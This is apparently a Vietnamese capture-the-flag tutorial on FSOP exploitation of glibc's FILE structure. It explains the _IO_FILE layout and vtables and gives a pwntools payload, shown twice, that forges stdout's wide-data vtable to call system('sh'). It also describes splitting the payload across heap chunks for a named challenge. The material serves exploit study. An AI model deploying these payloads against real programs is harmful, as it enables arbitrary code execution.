FILE là kiểu dữ liệu (struct) mà thư viện C chuẩn (stdio) dùng để đại diện cho một luồng I/O (stream) — ví dụ: file trên đĩa, stdin/stdout, pipe, socket… khi dùng fopen/fread/fwrite/fprintf/fclose
Cấu trúc của FILE trong glibc:
Trong glibc, FILE (thường là _IO_FILE / _IO_FILE_plus) là một struct lớn có:
buffer pointers (đang đọc/ghi tới đâu)
flags/mode (đọc/ghi, wide/byte, lỗi/EOF…)
file descriptor (fd)
lock (mutex) để thread-safe
con trỏ vtable/jump table (bảng hàm) quyết định khi “ghi/flush/đóng” thì gọi hàm nào. (phần quan trọng nhất)
Để hiểu sâu hơn về cấu trúc FILE và vtable trên bạn có thể đọc qua các bài viết dưới đây:
FSOP (File Stream Oriented Programming) là kỹ thuật khai thác trong pwn, trong đó bạn tấn công vào cấu trúc FILE của glibc (stdio) để điều khiển luồng thực thi.
Nếu bạn có bug cho phép:
ghi đè nội dung struct FILE (ví dụ overwrite IO_2_1_stdout), hoặc đổi con trỏ FILE* trỏ vào vùng bạn kiểm soát (fake FILE trên heap), thì khi chương trình gọi các hàm stdio hoặc lúc exit()/fflush()/fclose(), glibc sẽ:
đọc các field bạn đã sửa, gọi hàm qua vtable, và bạn có thể “lái” nó sang gọi hàm như system() hoặc tạo primitive R/W khác.
Đối với các glibc phiên bản từ 2.23 trở xuống thì việc khai thác tương đối đơn giản nhưng cũng cần phải hiểu cách khai thác để có thể hiểu cách tấn công FSOP cho các phiên bản glibc mới hơn.
Để kiểm tra GLIBC hiện tại của chương trình ta có thể dùng lệnh:
1
strings <tên chương trình> | grep GLIBC
Trong output trả về phiên bản GLIBC của chương trình sẽ là GLIBC có version cao nhất trong output.
Ở đây mình sẽ không viết về FSOP với glibc <= 2.23, các bạn có thể đọc qua blog dưới đây để hiểu cách khai thác dạng bài này:
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
_IO_lock_t *_lock;
/* The following fields only exist if `_IO_USE_OLD_IO_FILE` is not defined */ __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; };
{ wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
Tại sao ở challenge trên ta lại không gọi đến fclose mà lại gọi đến fputs để thực hiện FSOP ?
fputs (ghi) trên wide stream thường gọi _wide_vtable->__doallocate.
fclose (đóng) thường không gọi _wide_vtable->__doallocate, mà gọi các entry close/finish trên main vtable (libc-controlled) và còn đòi FILE hợp lệ hơn –> khó/không phù hợp với payload tối giản này.
Dạng 2: cho phép đọc ghi vào địa chỉ bất kì (thường sẽ ghi vào _IO_2_1_stdout_ trong libc) và FSOP qua fputs,fwrite,…
1 2 3 4 5 6 7 8 9 10 11 12 13 14
w_offset = 0xE0 w_vtable_offset = 0xE0# có thể chọn 1 offset lớn hơn fs = flat( { 0x00: b' sh'.ljust(8, b'\x00'), 0x88: p64(libc.address + 2176896), # libc.sym['_IO_stdfile_1_lock'] 0xA0: p64(libc.sym._IO_2_1_stdout_ + w_offset), # 0xA0 — đặt _wide_data trỏ vào stdout + 0xE0 (wide data giả) (wide data đóng vai trò giống _IO_wfile_jumps) 0xC0: p32(-1, sign="signed"), # 0xC0 — set _mode = -1 để ép đi vào nhánh wide-oriented --> (để bằng 0 vẫn được) 0xD8: libc.sym['_IO_wfile_jumps'], # 0xD8 — đặt vtable của stdout về _IO_wfile_jumps (hợp lệ để qua check, chứ k quan trọng trog việc gọi shell) (Ko nhất thiết dùng offset: - 0x38 + 0x18 chỉ cần vùng _IO_wfile_jumps (là vùng chứa các entry như __xsputn,...)) w_offset+0xE0: p64(libc.sym._IO_2_1_stdout_ + w_vtable_offset), # w_offset + 0xE0 — set _wide_vtable trỏ về chính wide_data (+0xE0 tiếp theo: là offset bên trong struct _IO_wide_data, nơi chứa con trỏ _wide_vtable.) w_vtable_offset+0x68: p64(libc.sym['system']) # w_offset + 0x68 — nhét system vào slot __doallocate trog wide data giả (stdout + 0xE0) }, filler=b'\x00' )
w_offset = 0xE0 w_vtable_offset = 0xE0# có thể chọn 1 offset lớn hơn fs = flat( { 0x00: b' sh'.ljust(8, b'\x00'), 0x88: p64(libc.address + 2176896), # libc.sym['_IO_stdfile_1_lock'] 0xA0: p64(libc.sym._IO_2_1_stdout_ + w_offset), # 0xA0 — đặt _wide_data trỏ vào stdout + 0xE0 (wide data giả) (wide data đóng vai trò giống _IO_wfile_jumps) 0xC0: p32(-1, sign="signed"), # 0xC0 — set _mode = -1 để ép đi vào nhánh wide-oriented --> (để bằng 0 vẫn được) 0xD8: libc.sym['_IO_wfile_jumps'], # 0xD8 — đặt vtable của stdout về _IO_wfile_jumps (hợp lệ để qua check, chứ k quan trọng trog việc gọi shell) (Ko nhất thiết dùng offset: - 0x38 + 0x18 chỉ cần vùng _IO_wfile_jumps (là vùng chứa các entry như __xsputn,...)) w_offset+0xE0: p64(libc.sym._IO_2_1_stdout_ + w_vtable_offset), # w_offset + 0xE0 — set _wide_vtable trỏ về chính wide_data (+0xE0 tiếp theo: là offset bên trong struct _IO_wide_data, nơi chứa con trỏ _wide_vtable.) w_vtable_offset+0x68: p64(libc.sym['system']) # w_offset + 0x68 — nhét system vào slot __doallocate trog wide data giả (stdout + 0xE0) }, filler=b'\x00' ) # GDB() malloc(0, 0x1f0, fs)
io.interactive()
Một note nhỏ mà mình thấy rất dễ gặp khi làm FSOP: payload không nhất thiết phải luôn đi theo công thức “nhét hết fake FILE + fake _wide_data + fake wide vtable vào cùng một chunk” kiểu:
Nó là template rất tốt để hiểu ý tưởng, nhưng khi vào challenge thật thì không phải lúc nào cũng có đủ không gian để ghi liền một mạch như vậy. Có những đề cho phép overwrite FILE object rất sớm, nhưng lại không cho bạn nhồi hết fake _wide_data và fake wide vtable trong cùng lần ghi đó. Lúc ấy, cách thực chiến hơn là chia payload ra: chunk thứ nhất chỉ giữ fake FILE, còn _wide_data hoặc fake wide vtable sẽ được đặt sang một vùng heap khác đã malloc từ trước, rồi cho field 0xA0 trỏ sang bên đó.
Một ví dụ rất điển hình là challenge 67-login-system của NoHackNoCTF:
login() sẽ gọi fwrite(..., fp) rồi fflush(fp), nên rất hợp để tận dụng wide-chain.
Nhưng điểm hay là một lần ghi vào slot đầu không thể gánh hết toàn bộ payload FSOP theo cách ráp công thức như trên vì không đủ không gian. Tối ưu hơn là:
slot 0: forge fake FILE
slot 1: chứa fake _wide_data và fake wide vtable
rồi để 0xA0 của fake FILE trỏ sang chunk thứ hai
Khi làm kiểu này, payload viết vào chunk đầu sẽ nhẹ hơn rất nhiều, vì nó chỉ cần đủ field để đi được tới nhánh _IO_wfile_underflow -> _IO_wdoallocbuf -> __doallocate. Phần fake _wide_data và slot +0x68 trỏ system có thể để chunk khác gồng gánh.
Với 67-login-system, layout cuối cùng trông sẽ gần với dạng: